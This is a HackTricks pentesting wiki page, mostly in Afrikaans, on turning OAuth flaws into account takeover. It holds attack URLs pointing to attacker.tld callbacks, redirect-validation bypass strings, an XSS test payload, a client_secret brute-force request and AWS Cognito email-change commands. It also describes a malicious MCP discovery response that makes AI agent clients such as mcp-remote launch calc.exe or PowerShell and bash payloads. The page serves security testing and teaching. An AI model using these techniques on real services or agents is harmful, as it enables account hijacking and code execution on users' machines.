OAuth to Account takeover

Tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks

Basiese Inligting

OAuth bied verskeie weergawes, met basiese insigte beskikbaar by OAuth 2.0 documentation. Hierdie bespreking fokus hoofsaaklik op die wyd gebruikte OAuth 2.0 authorization code grant type, wat ’n machtigingsraamwerk verskaf wat ’n aansoek in staat stel om toegang tot of aksies op ’n gebruiker se rekening in ’n ander toepassing uit te voer (the authorization server).

Oorweeg ’n hipotetiese webwerf https://example.com, wat ontwerp is om al jou sosiale media-plasings te vertoon, insluitend privaat plasings. Hiervoor word OAuth 2.0 gebruik. https://example.com sal jou toestemming vra om toegang tot jou sosiale media-plasings te kry. Gevolglik sal ’n toestemmingskerm op https://socialmedia.com verskyn wat die toestemmings wat versoek word en die ontwikkelaar wat die versoek doen uiteensit. Nadat jy toestemming verleen het, kry https://example.com die vermoë om toegang tot jou plasings namens jou te kry.

Dit is noodsaaklik om die volgende komponente binne die OAuth 2.0-raamwerk te verstaan:

  • resource owner: Jy, as die gebruiker/entiteit, gee toestemming vir toegang tot jou hulpbron, bv. die plasings in jou sosiale media-rekening.
  • resource server: Die bediener wat geauthentiseerde versoeke hanteer nadat die aansoek namens die resource owner ’n access token verkry het, bv. https://socialmedia.com.
  • client application: Die toepassing wat toestemming vra van die resource owner, soos https://example.com.
  • authorization server: Die bediener wat access tokens uitreik aan die client application nadat die resource owner suksesvol geauthentiseer is en toestemming gegee is, bv. https://socialmedia.com.
  • client_id: ’n publieke, unieke identifiseerder vir die toepassing.
  • client_secret: ’n vertroulike sleutel, bekend slegs aan die toepassing en die authorization server, gebruik om access_tokens te genereer.
  • response_type: ’n waarde wat die tipe token spesifiseer wat versoek word, bv. code.
  • scope: die vlak van toegang wat die client application van die resource owner versoek.
  • redirect_uri: Die URL waarna die gebruiker na toestemming herlei word. Dit moet gewoonlik ooreenstem met die vooraf-gedeponeerde redirect URL.
  • state: ’n parameter om data oor die gebruiker se herleidings na en van die authorization server te behou. Die uniekheid daarvan is kritiek as ’n CSRF-beskermingsmeganisme.
  • grant_type: ’n parameter wat die grant type en die tipe token wat teruggegee sal word aandui.
  • code: Die authorization code van die authorization server, wat deur die client application saam met client_id en client_secret gebruik word om ’n access_token te verkry.
  • access_token: Die token wat die client application gebruik vir API-versoeke namens die resource owner.
  • refresh_token: Stel die toepassing in staat om ’n nuwe access_token te verkry sonder om die gebruiker weer te vra.

Vloei

Die werklike OAuth-vloei verloop soos volg:

  1. Jy navigeer na https://example.com en kies die knoppie “Integreer met Sosiale Media”.
  2. Die webwerf stuur dan ’n versoek aan https://socialmedia.com wat jou toestemming vra om die aansoek van https://example.com toegang tot jou plasings te gee. Die versoek is gestruktureer soos:
https://socialmedia.com/auth
?response_type=code
&client_id=example_clientId
&redirect_uri=https%3A%2F%2Fexample.com%2Fcallback
&scope=readPosts
&state=randomString123
  1. Jy word dan ’n toestemmingsbladsy aangebied.
  2. Na jou goedkeuring stuur Social Media ’n antwoord na die redirect_uri met die code- en state-parameters:
https://example.com?code=uniqueCode123&state=randomString123
  1. https://example.com gebruik hierdie code, tesame met sy client_id en client_secret, om ’n server-side versoek te maak om namens jou ’n access_token te bekom, waardeur toegang tot die toestemmings waarvoor jy ingestem het moontlik word:
POST /oauth/access_token
Host: socialmedia.com
...{"client_id": "example_clientId", "client_secret": "example_clientSecret", "code": "uniqueCode123", "grant_type": "authorization_code"}
  1. Laastens, die proses sluit af terwyl https://example.com jou access_token gebruik om ’n API-oproep na Sosiale Media te maak om toegang te kry tot

Vulnerabilities

Open redirect_uri

Volgens RFC 6749 §3.1.2, moet die authorization server die blaaier slegs herlei na vooraf geregistreerde, presiese redirect URIs. Enige swakheid hier laat ’n aanvaller toe om ’n slagoffer deur ’n kwaadaardige authorization URL te stuur sodat die IdP die slagoffer se code (en state) regstreeks na ’n aanvaller-endpoint lewer, wat dit dan kan inlos en tokens kan oes.

Tipiese aanval-werkvloei:

  1. Skep https://idp.example/auth?...&redirect_uri=https://attacker.tld/callback en stuur dit na die slagoffer.
  2. Die slagoffer autentiseer en keur die scopes goed.
  3. Die IdP herlei na attacker.tld/callback?code=<victim-code>&state=... waar die aanvaller die versoek log en die code onmiddellik inruil.

Algemene validasie-foute om te ondersoek:

  • Geen validasie – enige absolute URL word aanvaar, wat tot onmiddellike code-diefstal lei.
  • Swakker substring/regex-kontroles op die host – omseil met lookalikes soos evilmatch.com, match.com.evil.com, match.com.mx, matchAmatch.com, evil.com#match.com, of match.com@evil.com.
  • IDN homograph-mismatchings – validasie gebeur op die punycode-vorm (xn--), maar die blaaier herlei na die Unicode-domein wat deur die aanvaller beheer word.
  • Willekeurige paadjies op ’n toegelate host – wys redirect_uri na /openredirect?next=https://attacker.tld of enige XSS/user-content endpoint leaks the code either through chained redirects, Referer headers, or injected JavaScript.
  • Direktorie-beperkings sonder normalisering – patrone soos /oauth/* kan omseil word met /oauth/../anything.
  • Wildcard subdomains – die aanvaar van *.example.com beteken enige takeover (dangling DNS, S3 bucket, etc.) lewer onmiddellik ’n geldige callback.
  • Nie-HTTPS callbacks – toestaan van http:// URIs gee netwerk-aanvallers (Wi‑Fi, korporatiewe proxy) die kans om die code onderweg te gryp.

Hersien ook bykomende redirect-styl parameters (client_uri, policy_uri, tos_uri, initiate_login_uri, ens.) en die OpenID discovery document (/.well-known/openid-configuration) vir addisionele endpoints wat moontlik dieselfde validasie-foute erf.

Redirect token leakage on allowlisted domains with attacker-controlled subpaths

Om redirect_uri te beperk tot “owned/first-party domains” help nie as enige allowlisted domein attacker-controlled paths or execution contexts (legacy app platforms, user namespaces, CMS uploads, ens.) blootstel nie. As die OAuth/federated login flow returns tokens in the URL (query of hash), kan ’n aanvaller:

  1. Begin ’n legitieme vloei om ’n pre-token te mint (bv. ’n etoken in ’n multi-stap Accounts Center/FXAuth vloei).
  2. Stuur die slagoffer ’n authorization URL wat die allowlisted domein as redirect_uri/base_uri stel maar next/pad na ’n aanvaler-beheerde namespace laat wys (bv. https://apps.facebook.com/<attacker_app>).
  3. Nadat die slagoffer goedkeur, herlei die IdP na die aanvaler-beheerde pad met sensitiewe waardes in die URL (token, blob, codes, ens.).
  4. JavaScript op daardie bladsy lees window.location en exfiltrates die waardes ondanks dat die domein “trusted” is.
  5. Hergebruik die vasgevang waardes teen downstream privilegieerde endpoints wat net die redirect-carried tokens verwag. Voorbeelde uit die FXAuth vloei:
# Account linking without further prompts
https://accountscenter.facebook.com/add/?auth_flow=frl_linking&blob=<BLOB>&token=<TOKEN>

# Reauth-gated actions (e.g., profile updates) without user confirmation
https://accountscenter.facebook.com/profiles/<VICTIM_ID>/name/?auth_flow=reauth&blob=<BLOB>&token=<TOKEN>

XSS in redirect implementering

Soos in hierdie bug bounty-rapport https://blog.dixitaditya.com/2021/11/19/account-takeover-chain.html genoem, kan dit moontlik wees dat die redirect URL in die response van die server weerspieël word nadat die gebruiker geverifieer is, en dus vatbaar vir XSS. Moontlike payload om te toets:

https://app.victim.com/login?redirectUrl=https://app.victim.com/dashboard</script><h1>test</h1>

CSRF - Onbehoorlike hantering van die state-parameter

Die state parameter is die Authorization Code flow CSRF-token: die client moet ’n kriptografies ewekansige waarde per browser-instansie genereer, dit op ’n plek bewaar wat slegs daardie blaaier kan lees (cookie, local storage, ens.), dit in die authorization versoek stuur, en enige reaksie verwerp wat nie dieselfde waarde teruggee nie. Wanneer die waarde staties, voorspelbaar, opsioneel of nie aan die gebruiker se sessie gebind is nie, kan die aanvaller hul eie OAuth-flow voltooi, die finale ?code= versoek onderskep (sonder om dit te stuur), en later ’n slagoffer se blaaier dwing om daardie versoek te herhaal sodat die slagofferrekening gekoppel word aan die aanvaller se identity provider-profiel.

Die herlaaipatroon is altyd dieselfde:

  1. Die aanvaller autentiseer by die IdP met hul rekening en onderskep die laaste redirect wat code (en enige state) bevat.
  2. Hulle laat daardie versoek val, hou die URL, en misbruik later enige CSRF-primitive (link, iframe, auto-submitting form) om die slagoffer se blaaier te dwing om dit te laai.
  3. As die client nie state afdwing nie, verbruik die toepassing die aanvaller se authorization-resultaat en teken die aanvaller in op die slagoffer se app-rekening.

’N Praktiese kontrolelys vir state hantering tydens toetse:

  • Geen state teenwoordig nie – as die parameter nooit verskyn nie, kan die hele login deur CSRF misbruik word.
  • state nie vereis nie – verwyder dit uit die aanvanklike versoek; as die IdP steeds codes uitreik wat die client aanvaar, is die verdedigingsmeganisme opsioneel.
  • Teruggegewe state nie gevalideer nie – manipuleer die waarde in die reaksie (Burp, MITM proxy). As ongelyke waardes aanvaar word beteken dit die gestoor­de token word nooit vergelyk nie.
  • Voorspelbare of slegs data-gedrewe state – baie apps sit redirect-paaie of JSON-blobs in state sonder om ewekansigheid by te voeg, wat aanvallers toelaat om geldige waardes te raai en flows te herhaal. Voeg altyd sterk entropie voor of na data enkodering.
  • state-fixasie – as die app gebruikers toelaat om die state-waarde te voorsien (bv. via crafted authorization URLs) en dit deur die hele flow hergebruik, kan ’n aanvaller ’n bekende waarde vasstel en dit oor slagoffers hergebruik.

PKCE kan state aanvul (veral vir public clients) deur die authorization code te bind aan ’n code verifier, maar webclients moet steeds state dophou om cross-user CSRF/account-linking foute te voorkom.

Pre Account Takeover

  1. Without Email Verification on Account Creation: Aanvallers kan vooraf ’n rekening skep met die slagoffer se e-pos. As die slagoffer later ’n derdeparty-diens gebruik vir login, kan die toepassing per ongeluk daardie derdeparty-rekening koppel aan die aanvaller se vooraf-geskepte rekening, wat tot ongemagtigde toegang lei.
  2. Exploiting Lax OAuth Email Verification: Aanvallers kan OAuth-dienste misbruik wat e-posse nie verifieer nie deur by hul diens te registreer en dan die rekening-e-pos na die slagoffer se e-pos te verander. Hierdie metode dra soortgelyke risiko van ongemagtigde rekeningtoegang, soortgelyk aan die eerste scenario maar deur ’n ander aanvalsvector.

Disclosure of Secrets

Die client_id is opzettelik publiek, maar die client_secret mag nooit deur eindgebruikers herstelbaar wees nie. Authorization Code deployments wat die secret in mobile APKs, desktop clients, or single-page apps inkorporeer, oorhandig daardie geloofsbrief effektief aan enigiemand wat die pakket kan aflaai. Inspekteer altyd public clients deur:

  • Die APK/IPA, desktop installer of Electron-app te ontpak en te grep vir client_secret, Base64-bloeisels wat na JSON dekodeer, of hard-gekodeerde OAuth-endpunte.
  • Gebundelde konfigurasielêers (plist, JSON, XML) of gedecompileerde strings vir client credentials te hersien.

Sodra die aanvaller die geheim ekstraheer, hoef hulle net enige slagoffer se authorization code te steel (via ’n swak redirect_uri, logs, ens.) om onafhanklik /token te tref en access/refresh tokens te mint sonder om die regmatige app te betrek. Behandel publieke/native clients as nie in staat om geheime te hou nie—hulle behoort eerder op PKCE (RFC 7636) staat te maak om besit van ’n per-instansie code verifier te bewys in plaas van ’n statiese geheim. Tydens toetsing, bevestig of PKCE verpligtend is en of die backend token-uitruilings werklik verwerp wat óf die client_secret of ’n geldige code_verifier weglate.

Client Secret Bruteforce

Jy kan probeer om die client_secret te bruteforce van ’n service provider by die identity provider om rekeninge te probeer steel.
Die request to BF may look similar to:

POST /token HTTP/1.1
content-type: application/x-www-form-urlencoded
host: 10.10.10.10:3000
content-length: 135
Connection: close

code=77515&redirect_uri=http%3A%2F%2F10.10.10.10%3A3000%2Fcallback&grant_type=authorization_code&client_id=public_client_id&client_secret=[bruteforce]

Referer/Header/Location artefakte leaking Code + State

Sodra die client die code and state het, en wanneer dit in location.href of document.referrer sigbaar word en na derde partye gestuur word, they leak. Twee terugkerende patrone:

  • Classic Referer leak: na die OAuth-redirect sal enige navigasie wat ?code=&state= in die URL hou, dit in die Referer header stoot wat aan CDNs/analytics/ads gestuur word.
  • Telemetry/analytics confused deputy: sommige SDKs (pixels/JS loggers) reageer op postMessage events en stuur dan die huidige location.href/referrer na backend APIs deur ’n token te gebruik wat in die boodskap voorsien is. As jy jou eie token in daardie stroom kan injekteer (bv. via ’n attacker-controlled postMessage relay), kan jy later die SDK se API-versoekgeskiedenis/logs lees en die slagoffer se OAuth-artefakte herstel wat in daardie versoeke ingesluit is.

Access Token gestoor in blaaiergeskiedenis

Die kernwaarborg van die Authorization Code grant is dat access tokens never reach the resource owner’s browser. Wanneer implementasies tokens client-side leak, enige klein fout (XSS, Referer leak, proxy logging) word onmiddellike rekeningkompromittering. Kontroleer altyd vir:

  • Tokens in URLs – as access_token in die query/fragment verskyn, beland dit in blaaiergeskiedenis, server logs, analytics, en Referer headers wat aan derde partye gestuur word.
  • Tokens transiting untrusted middleboxes – tokens wat oor HTTP of deur debugging/corporate proxies teruggestuur word, laat netwerkwaarnemers toe om dit direk te vang.
  • Tokens stored in JavaScript state – React/Vue stores, globale veranderlikes, of geserialiseerde JSON-blobs stel tokens bloot aan elke skrip op die origin (insluitend XSS payloads of kwaadwillige uitbreidings).
  • Tokens persisted in Web Storage – localStorage/sessionStorage hou tokens lank na logout op gedeelde toestelle en is deur skripte toeganklik.

Enige van hierdie bevindings verhoog gewoonlik andersins “low” foute (soos ’n CSP bypass of DOM XSS) na ’n volle API takeover omdat die aanvaller eenvoudig die leaked bearer token kan lees en hergebruik.

Ewigdurende Authorization Code

Authorization codes moet kortlewend, eenmalig, en replay-aware wees. Wanneer jy ’n stroom beoordeel, vang ’n code en:

  • Test the lifetime – RFC 6749 beveel minute aan, nie ure nie. Probeer om die code na 5–10 minute te redeem; as dit steeds werk, is die blootstellingsvenster vir enige leaked code te groot.
  • Test sequential reuse – stuur dieselfde code twee keer. As die tweede versoek nog ’n token oplewer, kan aanvallers sessions eindeloos kloon.
  • Test concurrent redemption/race conditions – vuur twee token-versoeke parallel (Burp intruder, turbo intruder). Swakker issuers gee soms albei.
  • Observe replay handling – ’n hergebruikpoging behoort nie net te misluk nie, maar ook enige tokens wat reeds uit daardie code gemunt is, te herroep. Andersins laat ’n ontdekte replay die aanvaller se eerste token aktief.

Die kombinasie van ’n replay-friendly code met enige redirect_uri of logging-bug maak volgehoue rekeningtoegang moontlik, selfs nadat die slagoffer die regmatige login voltooi het.

Authorization/Refresh Token nie aan client gebind nie

As jy die authorization code kan kry en dit vir ’n ander client/app kan redeem, kan jy ander rekeninge oorneem. Toets vir swak binding deur:

  • ’n code vir app A te capture en dit na app B’s token endpoint te stuur; as jy steeds ’n token ontvang, is audience binding gebreek.
  • First-party token minting endpoints te probeer wat slegs tot hul eie client IDs beperk behoort te wees; as hulle arbitrêre state/app_id aanvaar terwyl hulle net die code valideer, voer jy effektief ’n authorization-code swap uit om hoër-geprivilegieerde first-party tokens te mint.
  • Te kyk of client binding nonce/redirect URI mismatch ignoreer. As ’n foutbladsy steeds SDKs laai wat location.href log, kombineer dit met Referer/telemetry leaks om codes te steel en elders te redeem.

Enige endpoint wat code → token ruil, moet die uitreikende client, redirect URI en nonce verifieer; anders kan ’n gesteelde code van enige app opgegradeer word na ’n first-party access token.

Happy Paths, XSS, Iframes & Post Messages om code & state te leak

Kyk na hierdie post

AWS Cognito

In hierdie bug-bounty verslag: https://security.lauritz-holtmann.de/advisories/flickr-account-takeover/ kan jy sien dat die token wat AWS Cognito teruggee aan die gebruiker dalk genoegsame permissies het om die gebruikersdata oor te skryf. Daarom, as jy die gebruikers-e-pos na ’n ander gebruikers-e-pos kan verander, kan jy moontlik ander rekeninge oorneem.

# Read info of the user
aws cognito-idp get-user --region us-east-1 --access-token eyJraWQiOiJPVj[...]

# Change email address
aws cognito-idp update-user-attributes --region us-east-1 --access-token eyJraWQ[...] --user-attributes Name=email,Value=imaginary@flickr.com
{
"CodeDeliveryDetailsList": [
{
"Destination": "i***@f***.com",
"DeliveryMedium": "EMAIL",
"AttributeName": "email"
}
]
}

For more detailed info about how to abuse AWS Cognito check AWS Cognito - Unauthenticated Enum Access.

Misbruik van ander Apps se tokens

Soos genoem in hierdie artikel, OAuth flows wat verwag om die token (en nie ’n code nie) te ontvang, kan kwesbaar wees as hulle nie kontroleer dat die token aan die app behoort nie.

Dit is omdat ’n attacker ’n eie application supporting OAuth and login with Facebook (byvoorbeeld) kan skep. Wanneer ’n victim in die attackers application met Facebook aanmeld, kan die attacker die OAuth token of the user given to his application, and use it to login in the victim OAuth application using the victims user token kry.

Caution

Daarom, as die attacker daarin slaag om die user toegang tot sy eie OAuth application te gee, sal hy die victim se rekening in toepassings wat ’n token verwag en nie kontroleer of die token aan hul app ID toegeken is nie, kan oorneem.

Twee skakels & cookie

Volgens hierdie artikel, was dit moontlik om ’n victim ’n bladsy te laat oopmaak met ’n returnUrl wat na die attackers host wys. Hierdie inligting sou in ’n cookie (RU) gestoor word en in ’n latere stap sal die prompt die user vra of hy toegang aan daardie attackers host wil gee.

Om hierdie prompt te omseil, was dit moontlik om ’n tab te open om die Oauth flow te begin wat hierdie RU-cookie met die returnUrl sou stel, die tab te sluit voordat die prompt vertoon word, en ’n nuwe tab te open sonder daardie waarde. Dan sal die prompt nie oor die attackers host inlig nie, maar die cookie sal op daardie host gestel wees, sodat die token per omleiding na die attackers host gestuur sal word.

Prompt Interaction Bypass

Soos in hierdie video verduidelik, laat sommige OAuth-implementasies toe om die prompt GET-parameter as None (&prompt=none) aan te dui om te verhoed dat users gevra word om die gegewe toegang in ’n prompt op die web te bevestig as hulle reeds by die platform aangemeld is.

response_mode

Soos in hierdie video verduidelik, kan dit moontlik wees om die parameter response_mode aan te dui om te spesifiseer waar jy die code in die finale URL wil ontvang:

  • response_mode=query -> Die code word verskaf binne ’n GET-parameter: ?code=2397rf3gu93f
  • response_mode=fragment -> Die code word verskaf binne die URL-fragment parameter: #code=2397rf3gu93f
  • response_mode=form_post -> Die code word verskaf binne ’n POST-form met ’n input genaamd code en die waarde
  • response_mode=web_message -> Die code word in ’n post message gestuur: window.opener.postMessage({"code": "asdasdasd...

OAuth consent/login dialogs is ideale clickjacking-teikens: as hulle ingesluit kan word in ’n raam, kan ’n attacker pasgemaakte grafika oorleë, die werklike knoppies wegsteek, en users mislei om gevaarlike scopes goed te keur of rekeninge te koppel. Bou PoCs wat:

  1. Laai die IdP authorization URL binne ’n <iframe sandbox="allow-forms allow-scripts allow-same-origin">.
  2. Gebruik absolute positioning/opacity truuks om vals knoppies met die verborge Allow/Approve beheer te belyn.
  3. Opsioneel vul parameters vooraf (scopes, redirect URI) sodat die gesteelde goedkeuring die attacker onmiddellik bevoordeel.

Tydens toetsing verifieer dat IdP-bladsye óf X-Frame-Options: DENY/SAMEORIGIN óf ’n beperkende Content-Security-Policy: frame-ancestors 'none' uitstuur. As geen van beide teenwoordig is nie, demonstreer die risiko met gereedskap soos NCC Group’s clickjacking PoC generator en neem op hoe maklik ’n victim die attacker se app magtig. Vir addisionele payload-idees sien Clickjacking.

OAuth ROPC flow - 2 FA bypass

Volgens hierdie blogpost, is dit ’n OAuth flow wat toelaat om by OAuth in te teken via username en password. As tydens hierdie eenvoudige flow ’n token teruggegee word met toegang tot al die aksies wat die user kan uitvoer, is dit moontlik om 2FA te omseil deur daardie token te gebruik.

ATO on web page redirecting based on open redirect to referrer

Hierdie blogpost beskryf hoe dit moontlik was om ’n open redirect na die waarde van die referrer te misbruik om OAuth tot ATO te misbruik. Die aanval was:

  1. Die victim besoek die attacker se webblad.
  2. Die victim open die kwaadwillige skakel en ’n opener begin die Google OAuth flow met response_type=id_token,code&prompt=none as addisionele parameters, deur die referrer as die attackers website te gebruik.
  3. In die opener, nadat die provider die victim magtig, stuur dit hulle terug na die waarde van die redirect_uri parameter (victim se web) met ’n 30X kode wat steeds die attackers website in die referer hou.
  4. Die victim website trigger the open redirect based on the referrer wat die victim gebruiker na die attackers website herlei; aangesien die respose_type id_token,code was, sal die code in die fragment van die URL teruggestuur word na die attacker, wat hom toelaat om die rekening van die user via Google op die victim se webwerf oor te neem.

SSRFs parameters

Kyk na hierdie navorsing Vir verdere besonderhede van hierdie tegniek.

Dynamic Client Registration in OAuth dien as ’n minder voor die hand liggende maar kritieke vektor vir sekuriteitskwesbaarhede, spesifiek vir Server-Side Request Forgery (SSRF) aanvalle. Hierdie endpoint laat OAuth-bedieners toe om besonderhede oor client applications te ontvang, insluitend sensitiewe URLs wat uitgebuit kan word.

Belangrike punte:

  • Dynamic Client Registration word dikwels op /register gekarteer en aanvaar besonderhede soos client_name, client_secret, redirect_uris, en URLs vir logos of JSON Web Key Sets (JWKs) via POST-versoeke.
  • Hierdie funksie voldoen aan spesifikasies in RFC7591 en OpenID Connect Registration 1.0, wat parameters insluit wat potensieel vir SSRF kwesbaar is.
  • Die registrasieproses kan bedieners onbedoeld aan SSRF blootstel op verskeie maniere:
    • logo_uri: ’n URL vir die client application’s logo wat deur die bediener afgelaai kan word, wat SSRF kan veroorsaak of tot XSS kan lei as die URL verkeerd hanteer word.
    • jwks_uri: ’n URL na die client’s JWK-dokument wat, as dit kwaadwillig saamgestel is, die bediener kan laat uitgaande versoeke na ’n attacker-beheerde bediener maak.
    • sector_identifier_uri: Verwys na ’n JSON-array van redirect_uris, wat die bediener moontlik kan aflaai en ’n SSRF-geleentheid skep.
    • request_uris: Lys toegelate request URIs vir die kliënt, wat uitgebuit kan word as die bediener hierdie URIs by die begin van die authorization-proses aflaai.

Exploitation Strategy:

  • SSRF kan veroorsaak word deur ’n nuwe client te registreer met kwaadwillige URLs in parameters soos logo_uri, jwks_uri, of sector_identifier_uri.
  • Alhoewel direkte uitbuiting via request_uris dalk deur whitelist-beheermaatreëls gekortwiek word, kan die verskaffing van ’n vooraf- geregistreerde, attacker-beheerde request_uri SSRF tydens die authorization-fase vergemaklik.

OAuth/OIDC Discovery URL Abuse & OS Command Execution

Navorsing oor CVE-2025-6514 (wat mcp-remote clients soos Claude Desktop, Cursor of Windsurf raak) wys hoe dynamic OAuth discovery ’n RCE-primitive word wanneer die kliënt IdP-metadata reguit na die operating system stuur. Die remote MCP-bediener stuur ’n attacker-beheerde authorization_endpoint terug tydens die discovery-uitruiling (/.well-known/openid-configuration of enige metadata RPC). mcp-remote ≤0.1.15 sou dan die stelsel se URL-handler (start, open, xdg-open, ens.) aanroep met watter string ook al gekom het, sodat enige scheme/path wat deur die OS ondersteun word plaaslik uitgevoer is.

Attack workflow

  1. Wys die desktop agent na ’n vyandige MCP/OAuth-bediener (npx mcp-remote https://evil). Die agent ontvang 401 plus metadata.
  2. The server answers with JSON such as:
HTTP/1.1 200 OK
Content-Type: application/json

{
"authorization_endpoint": "file:/c:/windows/system32/calc.exe",
"token_endpoint": "https://evil/idp/token",
...
}
  1. Die kliënt loods die OS-handler vir die verskafde URI. Windows aanvaar payloads soos file:/c:/windows/system32/calc.exe /c"powershell -enc ..."; macOS/Linux aanvaar file:///Applications/Calculator.app/... of selfs custom schemes soos cmd://bash -lc '<payload>' as dit geregistreer is.
  2. Omdat dit gebeur voordat enige gebruikersinteraksie plaasvind, net die konfigurasie van die kliënt om met die attacker server te praat lewer code execution.

How to test

  • Teiken enige OAuth-capable desktop/agent wat discovery oor HTTP(S) uitvoer en teruggegewe endpunte plaaslik open (Electron apps, CLI helpers, thick clients).
  • Intercept of host die discovery response en vervang authorization_endpoint, device_authorization_endpoint, of soortgelyke velde met file://, cmd://, UNC paths, of ander gevaarlike skemas.
  • Let daarop of die kliënt die scheme/host valideer. Gebrek aan validasie lei tot onmiddellike uitvoering onder die gebruikerskonteks en bewys die probleem.
  • Herhaal met verskillende skemas om die volle attack surface in kaart te bring (bv. ms-excel:, data:text/html,, custom protocol handlers) en demonstreer cross-platform bereik.

OAuth providers Race Conditions

As die platform wat jy toets ’n OAuth provider is read this to test for possible Race Conditions.

Mutable Claims Attack

In OAuth identifiseer die sub veld uniek ’n gebruiker, maar die formaat wissel per Authorization Server. Om gebruikersidentifikasie te standaardiseer, gebruik sommige clients emails of user handles. Dit is egter riskant omdat:

  • Sommige Authorization Servers verseker nie dat hierdie eienskappe (soos email) immutabel bly nie.
  • In sekere implementasies—soos “Login with Microsoft”—vertrou die kliënt op die email-veld, wat user-controlled by the user in Entra ID is en nie geverifieer word nie.
  • ’n Aanvaller kan dit uitbuit deur hul eie Azure AD-organisasie te skep (bv. doyensectestorg) en dit te gebruik om ’n Microsoft login uit te voer.
  • Alhoewel die Object ID (gestoor in sub) immutabel en veilig is, kan die vertroue op ’n mutable email-veld ’n account takeover moontlik maak (byvoorbeeld die kaping van ’n rekening soos victim@gmail.com).

Client Confusion Attack

In ’n Client Confusion Attack versuim ’n toepassing wat die OAuth Implicit Flow gebruik om te verifieer dat die finale access token spesifiek vir sy eie Client ID gegenereer is. ’n Aanvaller stel ’n openbare webwerf op wat Google’s OAuth Implicit Flow gebruik, bedrieg duisende gebruikers om aan te meld en oes sodoende access tokens wat bedoel is vir die aanvaller se site. As daardie gebruikers ook rekeninge het op ’n ander kwesbare webwerf wat die token se Client ID nie valideer nie, kan die aanvaller die geoesde tokens hergebruik om die slagoffers te impersonate en hul rekeninge oor te neem.

Scope Upgrade Attack

Die Authorization Code Grant tipe behels veilige server-to-server kommunikasie vir die oordrag van gebruikerdata. As die Authorization Server egter impliciet ’n scope-parameter in die Access Token Request vertrou (’n parameter nie in die RFC gedefinieer nie), kan ’n kwaadwillige app die bevoegdhede van ’n authorization code opgradeer deur ’n hoër scope te versoek. Nadat die Access Token gegenereer is, moet die Resource Server dit verifieer: vir JWT tokens behels dit die kontrole van die JWT signature en die onttrekking van data soos client_id en scope, terwyl vir random string tokens die server die Authorization Server moet query om die token se besonderhede te kry.

Redirect Scheme Hijacking

In mobiele OAuth-implementasies gebruik apps custom URI schemes om redirects met Authorization Codes te ontvang. Aangesien verskeie apps dieselfde scheme op ’n toestel kan registreer, word die aanname dat slegs die legitime kliënt die redirect URI beheer, gebreek. Op Android, byvoorbeeld, word ’n Intent URI soos com.example.app:// opvang op grond van die scheme en opsionele filters gedefinieer in ’n app se intent-filter. Omdat Android se intent-resolusie wyd kan wees—veral as net die scheme gespesifiseer is—kan ’n aanvaller ’n kwaadwillige app registreer met ’n sorgvuldig saamgestelde intent filter om die authorization code te kap. Dit kan ’n account takeover moontlik maak óf deur gebruikersinteraksie (wanneer verskeie apps geskik is om die intent te hanteer) óf via bypass-tegnieke wat te-spesifieke filters misbruik, soos uiteengesit in Ostorlab se assessment flowchart.

Verwysings

Tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks